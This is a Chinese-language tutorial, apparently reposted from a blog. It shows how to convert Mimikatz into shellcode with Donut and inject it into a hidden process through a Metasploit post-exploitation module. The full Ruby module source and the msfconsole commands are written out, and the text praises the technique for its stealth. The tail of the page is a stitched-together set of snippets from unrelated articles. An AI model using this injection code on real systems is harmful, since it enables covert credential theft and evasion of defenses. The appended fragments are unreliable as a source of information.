Donut和MSF以shellcode注入的方式执行任意文件

准备工具

MSF https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
Donut https://github.com/TheWover/donut

准备的shellcode_inject.rb代码

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core/post/common‘
require ‘msf/core/post/windows/reflective_dll_injection‘

class MetasploitModule < Msf::Post
  include Msf::Post::Common
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super( update_info( info,
      ‘Name‘          => ‘Windows Manage Memory Shellcode Injection Module‘,
      ‘Description‘   => %q{
        This module will inject into the memory of a process a specified shellcode.
      },
      ‘License‘       => MSF_LICENSE,
      ‘Author‘        => [ ‘phra <https://iwantmore.pizza>‘ ],
      ‘Platform‘      => [ ‘win‘ ],
      ‘SessionTypes‘  => [ ‘meterpreter‘ ]
    ))

    register_options(
      [
        OptPath.new(‘SHELLCODE‘, [true, ‘Path to the shellcode to execute‘]),
        OptInt.new(‘PID‘, [false, ‘Process Identifier to inject of process to inject the shellcode. (0 = new process)‘, 0]),
        OptBool.new(‘CHANNELIZED‘, [true, ‘Retrieve output of the process‘, true]),
        OptBool.new(‘INTERACTIVE‘, [true, ‘Interact with the process‘, true]),
        OptBool.new(‘HIDDEN‘, [true, ‘Spawn an hidden process‘, true]),
        OptEnum.new(‘BITS‘, [true, ‘Set architecture bits‘, ‘64‘, [‘32‘, ‘64‘]])
      ])
  end

  # Run Method for when run command is issued
  def run

    # syinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo[‘Computer‘]}") if not sysinfo.nil?

    # Set variables
    shellcode = IO.read(datastore[‘SHELLCODE‘])
    pid = datastore[‘PID‘]
    bits = datastore[‘BITS‘]
    p = nil
    if bits == ‘64‘
      bits = ARCH_X64
    else
      bits = ARCH_X86
    end

    if pid == 0 or not has_pid?(pid)
      p = create_temp_proc(bits)
      print_status("Spawned process #{p.pid}")
    else
      print_status("Opening process #{p.pid}")
      p = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
    end

    if bits == ARCH_X64 and client.arch == ARCH_X86
      print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
      print_error("Migrate to an x64 process and try again.")
      return false
    elsif arch_check(bits, p.pid)
      inject(shellcode, p)
    end
  end

  # Checks the Architeture of a Payload and PID are compatible
  # Returns true if they are false if they are not
  def arch_check(bits, pid)
    # get the pid arch
    client.sys.process.processes.each do |p|
      # Check Payload Arch
      if pid == p["pid"]
        print_status("Process found checking Architecture")
        if bits == p[‘arch‘]
          print_good("Process is the same architecture as the payload")
          return true
        else
          print_error("The PID #{ p[‘arch‘]} and Payload #{bits} architectures are different.")
          return false
        end
      end
    end
  end

  # Creates a temp notepad.exe to inject payload in to given the payload
  # Returns process PID
  def create_temp_proc(bits)
    windir = client.sys.config.getenv(‘windir‘)
    # Select path of executable to run depending the architecture
    if bits == ARCH_X86 and client.arch == ARCH_X86
      cmd = "#{windir}\\System32\\notepad.exe"
    elsif bits == ARCH_X64 and client.arch == ARCH_X64
      cmd = "#{windir}\\System32\\notepad.exe"
    elsif bits == ARCH_X64 and client.arch == ARCH_X86
      cmd = "#{windir}\\Sysnative\\notepad.exe"
    elsif bits == ARCH_X86 and client.arch == ARCH_X64
      cmd = "#{windir}\\SysWOW64\\notepad.exe"
    end

    proc = client.sys.process.execute(cmd, nil, {
      ‘Hidden‘ => datastore[‘HIDDEN‘],
      ‘Channelized‘ => datastore[‘CHANNELIZED‘],
      ‘Interactive‘ => datastore[‘INTERACTIVE‘]
    })

    return proc
  end

  def inject(shellcode, p)
    print_status("Injecting shellcode into process ID #{p.pid}")
    begin
      print_status("Allocating memory in process #{p.pid}")
      mem = inject_into_process(p, shellcode)
      print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{shellcode.length} byte shellcode")
      p.thread.create(mem, 0)
      print_good("Successfully injected payload into process: #{p.pid}")

      if datastore[‘INTERACTIVE‘] && datastore[‘CHANNELIZED‘] && datastore[‘PID‘] == 0
        print_status("Interacting")
        client.console.interact_with_channel(p.channel)
      elsif datastore[‘CHANNELIZED‘]
        print_status("Retrieving output")
        data = p.channel.read
        print_line(data) if data
      end
    rescue ::Exception => e
      print_error("Failed to inject Payload to #{p.pid}!")
      print_error(e.to_s)
    end
  end
end

1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件到tmp目录下,等下会用到

2、将shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块

3、使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作

use post/windows/manage/shellcode_inject
set session 2
set shellcode /tmp/payload.bin
run

最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性

原文地址:https://www.cnblogs.com/Chuantouli/p/12275466.html

时间: 2025-01-14 11:45:35

Donut和MSF以shellcode注入的方式执行任意文件的相关文章

以cmd命令行方式执行php文件时,传递参数

1. php自带的两个参数$argc, $argv: 1.1. $argv : (后面的v是variables的意思),传递进来的参数会以数组的方式保持在这个变量里 1.2. $argc : (后面的c是count的意思),保持$argv中参数的个数,它不是数组 2.例子: 2.1. php代码: <?php if($argc==0) echo "here is no args"; else echo $argc; print_r($argv); ?> 2.2. 运行结果:

Spring 依赖注入的方式

Spring 支持3中依赖注入的方式 1.属性注入  通过setter 方法注入Bean的属性或依赖的对象. <bean id = " " class = " "> <property name = " " value = " "> </property>     <property name = " " value = " "> <

[技巧篇]06.关于防止SQL注入的方式,不使用预处理

在一期,二期阶段,有一些同学,对于SQL语句总是使用字符串的拼接,这是一个比较坏的毛病,这样非常影响我们的程序的安全性,所以一般情况下我们都推荐预处理模式,针对这种模式希望不了解的同学去努力学习,下面我给大家介绍另一种防止SQL注入的方式,希望对你们有帮助! 应该说,您即使没有处理 HTML 或 JavaScript 的特殊字符,也不会带来灾难性的后果,但是如果不在动态构造 SQL 语句时对变量中特殊字符进行处理,将可能导致程序漏洞.数据盗取.数据破坏等严重的安全问题.网络中有大量讲解 SQL

【原创】内核ShellCode注入的一种方法

标 题: [原创]内核ShellCode注入的一种方法 作 者: organic 时 间: 2013-05-04,04:34:08 链 接: http://bbs.pediy.com/showthread.php?t=170959 最近学习内核注入,看见一篇老文章<rootkit之[七]IAT Hook -- HybridHook之终极打造>链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode

Spring属性注入的方式

Spring的属性注入主要有三种: 1.setter方式注入 2.构造方法注入 3.注解注入,注解注入又分为: ①java annotation ②spring annitation 其中第三种中的java annotation是我们推荐使用的方法. 下面就来一一介绍这些注入方式的使用方法: setter方式注入步骤: ①首先在拥有属性的类中建立属性的set方法. ②在配置文件中使用property标签来注入. 构造方法方式注入步骤: ①创建属性所在的类创建构造方法,同时必须把默认的空构造方法也

spring 配置bean的方法及依赖注入发方式

Bean 的配置方式:通过全类名(反射).通过工厂方法(静态工厂方法 & 实例工厂方法).FactoryBean 这里依据全类名配置bean <bean id="helloWord" class="com.spring.HelloWord"> <property name="userName" value="springsss"></property> </bean> 依

Hibernate一些防止SQL注入的方式

Hibernate在操作数据库的时候,有以下几种方法来防止SQL注入,大家可以一起学习一下. 1.对参数名称进行绑定: Query query=session.createQuery(hql); query.setString(“username”,name); 2.对参数位置进行邦定: Query query=session.createQuery(hql); query.setString(0,username1); query.setString(1,username2); 3.setPa

依赖注入及AOP简述(五)——依赖注入的方式 .

二.依赖注入的应用模式 前面我们了解了依赖注入的基本概念,也对一些依赖注入框架进行了简单的介绍,这一章我们主要来讨论作为开发者如何利用依赖注入框架来实现依赖注入的设计思想. 1.     依赖注入的方式 前面我们提到,所谓“依赖”,最简单地去解释就是一个Java类里的成员变量.我们都知道,给一个类中的私有成员变量赋值的方法通常有:通过Constructor构造方法.通过Setter方法.通过反射机制将私有变量的可见性设为true这三种方法.同样道理,依赖注入框架也是利用这三种方式来完成依赖对象的

MVVM模式用依赖注入的方式配置ViewModel并注册消息

最初的想法 这次主要讨论下给View指定ViewModel的事情.一般来说给View指定ViewModel常用的方式有两种,一种是在View的后台代码中写DataContext = new ViewModel(),还有一种是在XAML中指定View的DataContext.这两种方式都使得View对ViewModel产生了依赖,这种情况下可以考虑用依赖注入的方式使取消View对ViewModel的直接依赖.依赖注入一般来说可以通过构造函数注入.通过设置属性注入,这两种方法对于View来说都不合适